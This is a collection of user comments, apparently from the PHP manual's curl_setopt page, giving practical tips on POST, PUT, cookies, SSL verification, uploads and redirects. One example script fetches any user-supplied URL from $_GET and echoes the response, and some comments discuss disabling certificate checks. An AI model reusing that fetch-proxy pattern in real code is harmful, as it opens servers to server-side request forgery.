JM 04-Apr-2019 10:34
Note that CURLOPT_TIMEOUT takes integers, so you cannot use it to set a timeout smaller than one second.
eric dot van dot eldik at peercode dot nl 13-Nov-2018 01:21
When you get this error using a PUT request: "SSL read: error:00000000:lib(0):func(0):reason(0), errno 104")

It could be caused by:
<?php
curl_setopt($ch, CURLOPT_PUT, TRUE);
?>

Instead try:
<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
?>
Anonymous 07-Jun-2018 09:56
If you have problems with CURLOPT_SSL_VERIFYPEER and using Apache.
Download certificate bundle:
http://curl.haxx.se/docs/caextract.html

Then set a path not in your php.ini, but in phpForApache.ini file.
Example:
curl.cainfo=c:\php\cacert.pem
bash at noemailaddress dot com 04-Jun-2018 08:52
Be sure not to set CURLOPT_POST to 1 (or True) if you are uploading a file, even if you are also providing textual Post data in your request. Took two hours to discover that including this option was the cause of my receiving script not having $_FILES set. The documentation explains it, but many examples around the web incorrectly include the CURLOPT_POST option in their example code. (Their examples only work because they happen to set this option first, and curl automatically resets it if you set CURLOPT_POSTFIELDS and it includes a file. Set your post fields first and then the CURLOPT_POST option however, and your code will not work.)

Per the documentation:
CURLOPT_POST: "TRUE to do a regular HTTP POST. This POST is the normal application/x-www-form-urlencoded kind, most commonly used by HTML forms. "
joel at mojamail dot com 16-Jan-2018 11:57
In the long documentation, it's easy to miss the fact that CURLOPT_POSTFIELDS will set the Content-Type to "multipart/form-data" (instead of the usual "application/x-www-form-urlencoded") IFF you supply an array (instead of a query string)!

Some servers will return weird errors (like "SSL read: error:00000000:lib(0):func(0):reason(0), errno 104") for the wrong Content-Type, and you may waste many hours of time trying to figure out why!
ohcc at 163 dot com 04-Dec-2017 02:59
This is howto upload an existing file to an FTP server with cURL in PHP.

You should remember that CURLOPT_URL should contain the file's basename to save on the FTP server. For example, if you upload hello.txt to ftp://www.wuxiancheng.cn/text/, CURLOPT_URL should be ftp://www.wuxiancheng.cn/text/hello.txt rather than ftp://www.wuxiancheng.cn/text/, otherwise you will get an error message like "Uploading to a URL without a file name! " when you call curl_error();

<?php
    $ch = curl_init();
    $filepath = 'D:\Web\www\wuxiancheng.cn\hello.txt';
    $basename = pathInfo($filepath, PATHINFO_BASENAME);
    $filesize = fileSize($filepath);
    curl_setopt_array(
        $ch,
        array(
            CURLOPT_URL => 'ftp://www.wuxiancheng.cn/text/' . $basename,
            CURLOPT_USERPWD => 'USERNAME:PASSWORD',
            CURLOPT_PROTOCOLS => CURLPROTO_FTP,
            CURLOPT_UPLOAD => true,
            CURLOPT_INFILE => $filepath,
            CURLOPT_INFILESIZE => $filesize,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
        )
    );
    curl_exec($ch);
    $message = curl_errno($ch) === CURLE_OK ? 'success' : 'failure';
    echo $message;
?>
cmatiasvillanueva at gmail dot com 15-Nov-2017 07:54
What is not mentioned in the documentation is that if you want to set  a local-port or local-port-range to establish a connection is possible by adding   CURLOPT_LOCALPORT and CURLOPT_LOCALPORTRANGE options.

Ex:
$conn=curl_init ('example.com');
curl_setopt($conn, CURLOPT_LOCALPORT, 35000);
curl_setopt($conn, CURLOPT_LOCALPORTRANGE, 200);

CURLOPT_LOCALPORT: This sets the local port number of the socket used for the connection.

CURLOPT_LOCALPORTRANGE:  The range argument is the number of attempts libcurl will make to find a working local port number. It starts with the given CURLOPT_LOCALPORT and adds one to the number for each retry. Setting this option to 1 or below will make libcurl do only one try for the exact port number.

Interface can be also configured using CURLOPT_INTERFACE:

Ex:

curl_setopt($conn,  CURLOPT_INTERFACE, "eth1");
chris at ocproducts dot com 13-Jul-2017 12:21
On recent versions of MacOS CURLOPT_SSL_VERIFYPEER cannot be disabled, unless you have compiled PHP yourself with the official cURL library and OpenSSL.

Why?
1) MacOS is bundling its own version of cURL which has Apple SecureTransport as the SSL handling.
2) The implementation will complain if CURLOPT_SSL_VERIFYPEER is disabled but CURLOPT_CAINFO is set ("CA certificate set, but certificate verification is disabled").
3) The implementation will consider CURLOPT_CAINFO set even if it is set to blank/null/false ("can't load CA certificate file").  This error comes from ""SSL: can't load CA certificate file %s"" in https://opensource.apple.com/source/curl/curl-95/curl/lib/vtls/darwinssl.c, you can see there's no blank verification.

To confirm this is what is affecting you look for what "SSL Version" is set at in the PHP-info. This is under the cURL settings.

To resolve you need to compile cURL (e.g. using Homebrew) with OpenSSL enabled:
brew install curl --with-openssl

Then compile PHP with something like this in the configure command:
'--with-curl=/usr/local/opt/curl'

It may also be possible to use Homebrew to compile PHP using it's own cURL, I haven't checked this.

Once resolved "SSL Version" will report something like "OpenSSL/1.0.2l".

Of course you shouldn't disable certificate validation. I am only doing it because I'm writing code to detect if a site's SSL is broken (works with verify peer, doesn't work without). Others maybe are using self-signed certificates and don't want to work out how to make them a root authority. Never ever use live.
nabikaz at gmail dot com 12-Mar-2017 07:28
About this post in here:
http://php.net/manual/en/function.curl-setopt.php#102121
>Handling redirections with curl if safe_mode or open_basedir is enabled.
>...
>function curl_exec_follow(/*resource*/ $ch, /*int*/ &$maxredirect = null) {
>...
~~~~~~~~~~~~~
IMPORTANT:
This is not work if set "CURLOPT_FILE".
For resolve this issue, can return $ch instead of curl_exec($ch), and after then set CURLOPT_FILE and use curl_exec($ch).
markandrewslade at gmail dot com 07-Mar-2017 03:22
Contrary to the documentation, CURLOPT_STDERR should be set to a handle to the file you want to write to, not the file's location.
steve at websmithery dot co dot uk 30-Jan-2017 09:17
It may not be an issue which affects anyone, but I think it's worth noting that using the CURLOPT_POSTFIELDS option has the side effect of setting the CURLOPT_POST option to TRUE.

When testing some code that required the post method, I commented out my CURLOPT_POST line to see how it failed and it didn't. Further investigation using curl_getinfo revealed that setting the CURLOPT_POSTFIELDS option was also setting the POST option.
chris at ocproducts dot com 11-Jan-2017 01:51
Never provide a CURLOPT_CUSTOMREQUEST value of 'HEAD'. It will cause cURL to timeout. Instead set CURLOPT_NOBODY to true.

The problem occurs because CURLOPT_CUSTOMREQUEST directly substitutes what cURL sends in transit, but not the response handling logic. It causes it to stall waiting for data that will never come.
starrychloe at oliveyou dot net 21-Jul-2016 02:06
You may also specify the certificate authority file with an environment variable.

export SSL_CERT_FILE=/path/to/cacert.pem
tceburashka at yandex dot ru 19-May-2016 02:41
Send body file use RFC7578 ("multipart/form-data")

// class contain file
class oFile
 {
     private $name;
     private $mime;
     private $content;

     public function __construct($name, $mime=null, $content=null)
      {
          if(is_null($content))
           {
               $info = pathinfo($name);
// check is exist and readable file
               if(!empty($info['basename']) && is_readable($name))
                {
                    $this->name = $info['basename'];
// get MIME
                    $this->mime = mime_content_type($name);
// load file
                    $content = file_get_contents($name);
                    if($content!==false) $this->content = $content;
                        else throw new Exception('Don`t get content - "'.$name.'"');
                } else throw new Exception('Error param');
           } else
              {
                   $this->name = $name;
                   if(is_null($mime)) $mime = mime_content_type($name);
                   $this->mime = $mime;
                   $this->content = $content;
              };
      }

    public function Name() { return $this->name; }

    public function Mime() { return $this->mime; }

    public function Content() { return $this->content; }

 };

// create body for POST request
class BodyPost
 {
// part "multipart/form-data"
    public static function PartPost($name, $val)
     {
         $body = 'Content-Disposition: form-data; name="' . $name . '"';
// check instance of oFile
         if($val instanceof oFile)
          {
              $file = $val->Name();
              $mime = $val->Mime();
              $cont = $val->Content();

              $body .= '; filename="' . $file . '"' . "\r\n";
              $body .= 'Content-Type: ' . $mime ."\r\n\r\n";
              $body .= $cont."\r\n";
          } else $body .= "\r\n\r\n".urlencode($val)."\r\n";
         return $body;
     }

    public static function Get(array $post, $delimiter='-------------0123456789')
     {
         if(is_array($post) && !empty($post))
          {
              $bool = false;
              foreach($post as $val) if($val instanceof oFile) {$bool = true; break; };
              if($bool)
               {
                   $ret = '';
                   foreach($post as $name=>$val)
                       $ret .= '--' . $delimiter. "\r\n". self::PartPost($name, $val);
                   $ret .= "--" . $delimiter . "--\r\n";
               } else $ret = http_build_query($post);
          } else throw new \Exception('Error input param!');
         return $ret;
     }
 };

$delimiter = '-------------'.uniqid();
$file = new oFile('sample.txt', 'text/plain', 'Content file');
$post = BodyPost::Get(array('field'=>'text', 'file'=>$file), $delimiter);

var_dump($post);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'http://server/upload/');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: multipart/form-data; boundary=' . $delimiter,
    'Content-Length: ' . strlen($post)));

curl_exec($ch);
joey 09-Mar-2016 08:04
Sorry, I made a mistake. For validating cookie entries it is best to use at least:

/^([^\t]+\t){6}[^\t]+$/

There was not enough space for me to put in the rationale for not using persistent storage with cookies but it should be obvious. It's YAGNI for most scenarios. In this case at best it complicate things, at the worst you perform an operation using the wrong cookie session. It can also increase the chance of failure, waste resources, reduce performance and create mess in the file system.

The plus of persistent is that In some cases it may be used to accelerate across processes but not many people actually need that and when they do there tend to be better options such as using memcached.

If someone can edit and merge the comments it would be appreciated.
joey 09-Mar-2016 06:54
It is important that anyone working with cURL and PHP keep in mind that not all of the CURLOPT and CURLINFO constants are documented. I always recommend reading the cURL documentation directly as it sometimes contains better information. The cURL API in tends to be fubar as well so do not expect things to be where you would normally logically look for them.

curl is especially difficult to work with when it comes to cookies. So I will talk about what I found with PHP 5.6 and curl 7.26.

If you want to manage cookies in memory without using files including reading, writing and clearing custom cookies then continue reading.

To start with, the way to enable in memory only cookies associated with a cURL handle you should use:

    curl_setopt($curl, CURLOPT_COOKIEFILE, "");

cURL likes to use magic strings in options as special commands. Rather than having an option to enable the cookie engine in memory it uses a magic string to do that. Although vaguely the documentation here mentions this however most people like me wouldn't even read that because a COOKIEFILE is the complete opposite of what we want.

To get the cookies for a curl handle you can use:

    curl_getinfo($curl, CURLINFO_COOKIELIST);

This will give an array containing a string for each cookie. It is tab delimited and unfortunately you will have to parse it yourself if you want to do anything beyond copying the cookies.

To clear the in memory cookies for a cURL handle you can use:

    curl_setopt($curl, CURLOPT_COOKIELIST, "ALL");

This is a magic string. There are others in the cURL documentation. If a magic string isn't used, this field should take a cookie in the same string format as in getinfo for the cookielist constant. This can be used to delete individual cookies although it's not the most elegant API for doing so.

For copying cookies I recommend using curl_share_init.

You can also copy cookies from one handle to another like so:

    foreach(curl_getinfo($curl_a, CURLINFO_COOKIELIST) as $cookie_line)
        curl_setopt($curl, CURLOPT_COOKIELIST, $cookie_line);

An inelegant way to delete a cookie would be to skip the one you don't want.

I only recommend using COOKIELIST with magic strings because the cookie format is not secure or stable. You can inject tabs into at least path and name so it becomes impossible to parse reliably. If you must parse this then to keep it secure I recommend prohibiting more than 6 tabs in the content which probably isn't a big loss to most people.

A the absolute minimum for validation I would suggest:

    /^([^\t]+\t){5}[^\t]+$/D

Here is the format:

    #define SEP  "\t"  /* Tab separates the fields */

    char *my_cookie =
      "example.com"    /* Hostname */
      SEP "FALSE"      /* Include subdomains */
      SEP "/"          /* Path */
      SEP "FALSE"      /* Secure */
      SEP "0"          /* Expiry in epoch time format. 0 == Session */
      SEP "foo"        /* Name */
      SEP "bar";       /* Value */
mikko dot rantalainen at peda dot net 28-Jan-2016 02:20
If you need to do DELETE request, use CURLOPT_CUSTOMREQUEST with "DELETE" and use CURLOPT_POSTFIELDS for parameters. Do not put request parameters into the URL (GET-like) or bad things will happen (at least Apache+mod_php does not like such requests).
joelhy 04-Jan-2016 10:19
Please notice that CURLINFO_HEADER_OUT and CURLOPT_VERBOSE option does not work together:
"When CURLINFO_HEADER_OUT is set to TRUE than CURLOPT_VERBOSE does not work."(from https://bugs.php.net/bug.php?id=65348).
This took me an hour or two to figure it out.
alvaro at demogracia dot com 15-Sep-2015 12:14
With the legacy file upload feature, Curl sends the file name of the actual file and there isn't a documented way to change that behaviour. If you aren't able to use the CURLFile class there's a workaround that apparently works: append "; filename=" after the value (and make sure it comes after "type=").

<?php

$postfields = array(
    'document[]' => '@/tmp/upload_qm5ee8FBxi; type=image/jpeg; filename=Kitten.jpg',
);
jancister at gmail dot com 12-Mar-2015 04:09
Please note that if you want to handle progress using CURLOPT_PROGRESSFUNCTION option, you need to take into consideration what version of PHP are you using. Since version 5.5.0, compatibility-breaking change was introduced in number/order of the arguments passed to the callback function, and cURL resource is now passed as first argument.

Prior to version 5.5.0:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
    // Handle progress
}
?>

From version 5.5.0:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($resource, $download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
    // Handle progress
}
?>

However, if your code needs to be compatible with PHP version both before and after 5.5.0, consider adding a version check:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($resource, $download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
   /**
    * $resource parameter was added in version 5.5.0 breaking backwards compatibility;
    * if we are using PHP version lower than 5.5.0, we need to shift the arguments
    * @see http://php.net/manual/en/function.curl-setopt.php#refsect1-function.curl-setopt-changelog
    */
    if (version_compare(PHP_VERSION, '5.5.0') < 0) {
        $uploaded = $upload_size;
        $upload_size = $downloaded;
        $downloaded = $download_size;
        $download_size = $resource;
    }

    // Handle progress
}
?>
Aaron Wells 24-Nov-2014 11:34
If you use cURL to fetch user-supplied URLs (for instance, in a web-based RSS aggregator), be aware of the risk of server-side request forgery (SSRF). This is an attack where the user takes advantage of the fact that cURL requests are sent from the web server itself, to reach network locations they wouldn't be able to reach from outside the network.

For instance, they could enter a "http://localhost" URL, and access things on the web server via "localhost". Or, "ftp://localhost". cURL supports a lot of protocols!

If you are using CURLOPT_FOLLOWLOCATION, the malicious URL could be in a redirect from the original request. cURL also will follow redirect headers to other protocols! (303 See Other; Location: ftp://localhost).

So if you're using cURL with user-supplied URLs, at the very least use CURLOPT_PROTOCOLS (which also sets CURLOPT_REDIR_PROTOCOLS), and either disable CURLOPT_FOLLOWLOCATION or use the "SafeCurl" library to safely follow redirects.
Richard 24-Oct-2014 08:10
CURL_SSLVERSION_TLSv1_0 (4), CURL_SSLVERSION_TLSv1_1 (5) or CURL_SSLVERSION_TLSv1_2 (6) only work for PHP versions using curl 7.34 or newer.
White Gandalf 05-Aug-2014 04:38
to complement shiplu's  comment on the neccessary option sequence of CURLOPT_POST before CURLOPT_POSTFIELDS:

The crux is not some error on nginx, but that nothing at all will be send over the line by curl. Parameters set by a "CURLOPT_POSTFIELDS" option setting will be completely ignored, as long as no "CURLOPT_POST" has been encountered beforehand: Neigther the Content-Type header will be set/generated accordingly nor Content-Length nor any data will be send in the body.

When using curl_setopt_array, the sequence in the array matters as well.
Simeon Anastasov 04-Jun-2014 01:46
One note of importance when you open several cURL handles simultaneously: If you want to share cookies via cookie-jar file among all your handles - be sure to curl_close() one before using the cookie-jar file from the other.

It appears that during cURL handler execution the cookies are kept in some sort of handler specific internal session storage and only upon explicit curl_close() call or interpreter exit garbage collection these cookies are actually flushed to the file on the hard disk ( I guess for performance reasons ).

I hope this note will save you couple of hours debugging :)
lachlan at radelaide dot net 07-Mar-2014 12:29
For those using CURLAUTH_NTLM, it may come to no surprise  that NTLM request will fail if you have set CURLOPT_FORBID_REUSE to true.

This is because NTLM authorisation is connect-based, not request-based. If the connection is not kept alive and re-used, cURL can never complete the request.

You may notice this if you get a 401 status code or max out the number of redirects.
Martin K. 27-Feb-2014 05:31
If you need to read page contents in between file downloads, while still using the same curl handle, you'll probably need this code:
<?php
    curl_setopt($handle, CURLOPT_FILE, fopen('php://stdout','w'));   // 'php://output' didn't work for me
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);  // using CURLOPT_FILE sets this to false automatically
?>
Martin K. 24-Feb-2014 05:36
If you only want to enable cookie handling and you don't need to save the cookies for a separate session, just set CURLOPT_COOKIEFILE to an empty string.  I was given the advice to use php://memory but that did not seem to have the same effect.

Although this is stated in the documentation I thought it was worth reiterating since it cause me so much trouble.
Joan 08-Jan-2014 07:59
Using CURLOPT_NOPROXY to avoid using the proxy for some urls is very convenient.
For example when the page is trying to look for itself.
The parameter can be found at least in version 5.5.7, (probably earlier)
Unfortunately it's not present on debian wheezy (5.4.4) but it will be on jessie (it's already there)

A related bug: https://bugs.php.net/bug.php?id=53543
badman 15-Nov-2013 10:36
Many hosters use PHP safe_mode or/and open_basedir, so you can't use CURLOPT_FOLLOWLOCATION. If you try, you see message like this:
CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in [you script name & path] on line XXX

First, I try to use zsalab function (http://us2.php.net/manual/en/function.curl-setopt.php#102121) from this page, but for some reason it did not work properly. So, I wrote my own.

It can be use instead of curl_exec. If server HTTP response codes is 30x, function will forward the request as long as the response is not different from 30x (for example, 200 Ok). Also you can use POST.

function curlExec(/* Array */$curlOptions='', /* Array */$curlHeaders='', /* Array */$postFields='')
{
  $newUrl = '';
  $maxRedirection = 10;
  do
  {
    if ($maxRedirection<1) die('Error: reached the limit of redirections');

    $ch = curl_init();
    if (!empty($curlOptions)) curl_setopt_array($ch, $curlOptions);
    if (!empty($curlHeaders)) curl_setopt($ch, CURLOPT_HTTPHEADER, $curlHeaders);
    if (!empty($postFields))
    {
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    }

    if (!empty($newUrl)) curl_setopt($ch, CURLOPT_URL, $newUrl); // redirect needed

    $curlResult = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($code == 301 || $code == 302 || $code == 303 || $code == 307)
    {
      preg_match('/Location:(.*?)\n/', $curlResult, $matches);
      $newUrl = trim(array_pop($matches));
      curl_close($ch);

      $maxRedirection--;
      continue;
    }
    else // no more redirection
    {
      $code = 0;
      curl_close($ch);
    }
  }
  while($code);
  return $curlResult;
}
shiplu at programmer dot net 01-Jun-2013 06:23
CURLOPT_POST should be set before CURLOPT_POSTFIELDS. Otherwise you might encounter 411 Length required error.

Following code generates "411 Length Required" on nginx/1.1.15
<?php
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
curl_setopt ($ch, CURLOPT_POST, 1);
?>

But this one works.

<?php
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
?>
Manasi 10-May-2013 05:55
CURLAUTH_ANY is not an alias for CURLAUTH_NTLM. I had to specify CURLAUTH_NTLM for a Windows authenticated URL
Madcat 06-May-2013 03:14
If you have a mixture of strings starting with @ (at character) and files in CURLOPT_POSTFIELDS you have a problem (such as posting a tweet with attached media) because curl tries to interpret anything starting with @ as a file.

<?php

$postfields = array(
    'upload_file' => '@file_to_upload.png',
    'upload_text' => '@text_to_upload'
);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://example.com/upload-test');
curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
curl_exec($curl);
curl_close($curl);

?>

To get around this, prepend the text string with the NULL character like so:

<?php
    $postfields = array(
        'upload_file' => '@file_to_upload.png',
        'upload_text' => sprintf("\0%s", '@text_to_upload')
    );
?>

Original source: http://bit.ly/AntMle
S.F. 18-Apr-2013 06:48
I spent a couple of days trying to upload a file using a curl post.

The problem I ran into was the filename had an '@' in the middle of it.  It turned out that at least on my system if I encoded the file path using the quoted_printable_encode() function the upload works.

I'm posting this in the hopes that it will help someone else, and for my own future reference.

Code:
<?php

$filepath = '/tmp/test@example.txt';
$postdata['file'] = '@' . quoted_printable_encode($filepath);

//... supporting code.

$result = curl_exec($ch);

?>
I'm not exactly sure why this works when escaping the '@' doesn't work but it does for me.

If anyone can offer insight into why this works or a better way to handle the '@' symbol in a filename when using curl to upload I would love to hear it.

Thanks
xuyan83121 at gmail dot com 18-Mar-2013 05:54
when use curl_multi_exec, the CURLOPT_TIMEOUT need curl version newer than 7.21.2.
this can be found at curl changelog.
m at mar dot lt 25-Oct-2012 03:06
Be careful when changing CURLOPT_SSL_VERIFYHOST or other options to true (boolean). It may cause insecure behavior [1]

This is because boolean true casts into integer 1, and CURLOPT_SSL_VERIFYHOST = 1 is not secure behavior.

The *correct* value here is CURLOPT_SSL_VERIFYHOST = 2. By setting this value equal to 1 the peer certificate must contain a Common Name field, but it doesn't matter what name it says.

[1] Martin Georgiev and Subodh Iyengar and Suman Jana and Rishita Anubhai and Dan Boneh and Vitaly Shmatikov, The most dangerous code in the world: validating SSL certificates in non-browser software, ACM CCS '12, pp. 38-49, 2012
rmckay at webaware dot com dot au 24-Oct-2012 12:21
Please everyone, stop setting CURLOPT_SSL_VERIFYPEER to false or 0. If your PHP installation doesn't have an up-to-date CA root certificate bundle, download the one at the curl website and save it on your server:

http://curl.haxx.se/docs/caextract.html

Then set a path to it in your php.ini file, e.g. on Windows:

curl.cainfo=c:\php\cacert.pem

Turning off CURLOPT_SSL_VERIFYPEER allows man in the middle (MITM) attacks, which you don't want!
regan dot corey at gmail dot com 22-Oct-2012 10:22
I spent a couple of days trying to POST a multi-dimensional array of form fields, including a file upload, to a remote server to update a product. Here are the breakthroughs that FINALLY allowed the script to run as desired.

Firstly, the HTML form used input names like these:
<input type="text" name="product[name]" />
<input type="text" name="product[cost]" />
<input type="file" name="product[thumbnail]" />
in conjunction with two other form inputs not part of the product array
<input type="text" name="method" value="put" />
<input type="text" name="mode" />

I used several cURL options, but the only two (other than URL) that mattered were:
curl_setopt($handle, CURLOPT_POST, true);
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);
Pretty standard so far.
Note: headers didn't need to be set, cURL automatically sets headers (like content-type: multipart/form-data; content-length...) when you pass an array into CURLOPT_POSTFIELDS.
Note: even though this is supposed to be a PUT command through an HTTP POST form, no special PUT options needed to be passed natively through cURL. Options such as
curl_setopt($handle, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT', 'Content-Length: ' . strlen($fields)));
or
curl_setopt($handle, CURLOPT_PUT, true);
or
curl_setopt($handle, CURLOPT_CUSTOMREQUEST, "PUT);
were not needed to make the code work.

The fields I wanted to pass through cURL were arranged into an array something like this:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product" => array("name" => $_POST["product"],
                                        "cost" => $_POST["product"]["cost"],
                                        "thumbnail" => "@{$_FILES["thumbnail"]["tmp_name"]};type={$_FILES["thumbnail"]["type"]}")
                    );

-Notice how the @ precedes the temporary filename, this creates a link so PHP will upload/transfer an actual file instead of just the file name, which would happen if the @ isn't included.
-Notice how I forcefully set the mime-type of the file to upload. I was having issues where images filetypes were defaulting to octet-stream instead of image/png or image/jpeg or whatever the type of the selected image.

I then tried passing $postfields straight into curl_setopt($this->handle, CURLOPT_POSTFIELDS, $postfields); but it didn't work.
I tried using http_build_query($postfields); but that didn't work properly either.
In both cases either the file wouldn't be treated as an actual file and the form data wasn't being sent properly. The problem was HTTP's methods of transmitting arrays. While PHP and other languages can figure out how to handle arrays passed via forms, HTTP isn't quite as sofisticated. I had to rewrite the $postfields array like so:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product[name]" => $_POST["product"],
                    "product[cost]" => $_POST["product"]["cost"],
                    "product[thumbnail]" => "@{$_FILES["thumbnail"]["tmp_name"]}");
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);

This, without the use of http_build_query, solved all of my problems. Now the receiving host outputs both $_POST and $_FILES vars correctly.
miloshio at gmail dot com 20-Oct-2012 12:06
Remember:

- 'Server-side' cookies exists as information even before they were set on browser agent(HTTP COOKIE HEADER),
- javascript cookies does NOT exists as information before they were set on browser agent,

so, if you're trying to save cookies using CURLOPT_COOKIEJAR to a local file, that cookie must be server - side cookie, otherwise you are wasting time, javascript-produced cookies only exists when client browser's JS interpreter set them.
juozaspo at gmail dot com 25-Sep-2012 08:47
I've created an example that gets the file on url passed to script and outputs it to the browser.

<?php
//get the file (e.g. image) and output it to the browser
$ch = curl_init(); //open curl handle
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //set an url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //do not output directly, use variable
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); //do a binary transfer
curl_setopt($ch, CURLOPT_FAILONERROR, 1); //stop if an error occurred
$file=curl_exec($ch); //store the content in variable
if(!curl_errno($ch))
{
    //send out headers and output
    header ("Content-type: ".curl_getinfo($ch, CURLINFO_CONTENT_TYPE)."");
    header ("Content-Length: ".curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    echo $file;
} else echo 'Curl error: ' . curl_error($ch);
curl_close($ch); //close curl handle
?>

p.s. Make sure that there're no new lines before and after code or script may not work.
qeremy [atta] gmail [dotta] com 03-Aug-2012 08:57
If you are trying to update something on your server and you need to handle this update operation by PUT;

<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
curl_setopt($ch, CURLOPT_PUT, 1);
?>

are "useless" without;

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
?>

Example;

Updating a book data in database identified by "id 1";

--cURL Part--
<?php
$data = http_build_query($_POST);
// or
$data = http_build_query(array(
   'name'  => 'PHP in Action',
   'price' => 10.9
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.localhost/rest/books/1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); // no need anymore
// or
// curl_setopt($ch, CURLOPT_PUT, 1); // no need anymore
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$ce = curl_exec($ch);
curl_close($ch);
print_r($ce);
?>

--API class--
<?php
public function putAction() {
    echo "putAction() -> id: ". $this->_getParam('id') ."\n";
    print_r($_POST);
    // do stuff with post data
    ...
?>

--Output--
putAction() -> id: 15
Array
(
    [name] => PHP in Action
    [price] => 10.9
)

---Keywords--
rest, restfull api, restfull put, curl put, curl customrequest put
adrian at foeder dot de 06-Jul-2012 07:37
if you want to do a GET request with additional body data it will become tricky not to implicitly change the request to a POST, like many notes below correctly state.
So to do the analogy of command line's

curl -XGET 'http://example.org?foo=bar' -d '<baz>some additional data</baz>'

in PHP you'll do, besides your other necessary stuff,

<?php
    curl_setopt($curlHandle, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($curlHandle, CURLOPT_POSTFIELDS, '<baz>some additional data</baz>');
?>

during my experiments, every other "similar" way, like e.g. CURLOPT_HTTPGET, didn't send the additional data or fell into POST.
jeffb at nospam dot videx dot com 08-May-2012 10:53
When trying to pass a multi-dimensional array to CURLOPT_POSTFIELDS, first run it through http_build_query().  That will get rid of the Array to String conversion notice.
Joey Hewitt 17-Apr-2012 10:52
Note that if you put a certificate chain in a PEM file, the certificates need to be ordered so that each certificate is followed by its issuer (i.e., root last.)

Source: http://publib.boulder.ibm.com/tividd/td/ITIM/SC32-1493-00/en_US/HTML/im451_config09.htm
ellert at _removeme_ vankoperen dot nl 06-Apr-2012 01:41
If you are using curl to do a soap request and consistently get the following error back:
The server cannot service the request because the media type is unsupported.
You are sending the Content-type of soap 1.2 to a 1.1 server.
Soap 1.1 needs Content-Type: text/xml;
Soap 1.2 should have Content-Type: application/soap+xml;
anonymous 03-Apr-2012 03:55
This may be not obvious, but if you specify the CURLOPT_POSTFIELDS and don't specify the CURLOPT_POST - it will still send POST, not GET (as you might think - since GET is default).
So the line:

curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

is synonym to:

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

Even if you set the options like this (in this order):

curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

it will send POST, since CURLOPT_POSTFIELDS is latter.
So if you want GET - make sure you don't have CURLOPT_POSTFIELDS specified somewhere.
mw+php dot net at lw-systems dot de 31-Mar-2012 06:45
The description of the use of the CURLOPT_POSTFIELDS option should be emphasize, that using POST with HTTP/1.1 with cURL implies the use of a "Expect: 100-continue" header. Some web servers will not understand the handling of chunked transfer of post data.

To disable this behavior one must disable the use of the "Expect:" header with

    curl_setopt($ch, CURLOPT_HTTPHEADER,array("Expect:"));
wonderfish+php at gmail dot com 25-Feb-2012 12:22
As of at least PHP 5.3.9, if you are continuing to use a cURL session handle after downloading a file and closing the file handle, you will need to change CURLOPT_FILE back to stdout, and cannot count simply on a side effect of CURLOPT_RETURNTRANSFER to do so, even if you are setting it.  For example:

<?php
$ch = curl_init();
$fh = fopen('/path/to/stored/file/example_file.dat', 'w');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_setopt($ch, CURLOPT_URL, 'http://example.com/example_file.dat');
curl_exec($ch);
fflush($fh);
fclose($fh);

//must reset cURL file handle. Not doing so will cause a warning to be
//thrown and for cURL to default to output regardless
//for our example, we'll set return transfer.
curl_setopt($ch, CURLOPT_FILE, fopen('php://stdout', 'w'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_URL, 'http://example.org/index.html');
$html = curl_exec($ch); //this will now work
?>
dotpointer at gmail dot com 22-Feb-2012 01:13
I noted something when using CURLOPT_POSTFIELDS in combination with arrays from PHP.

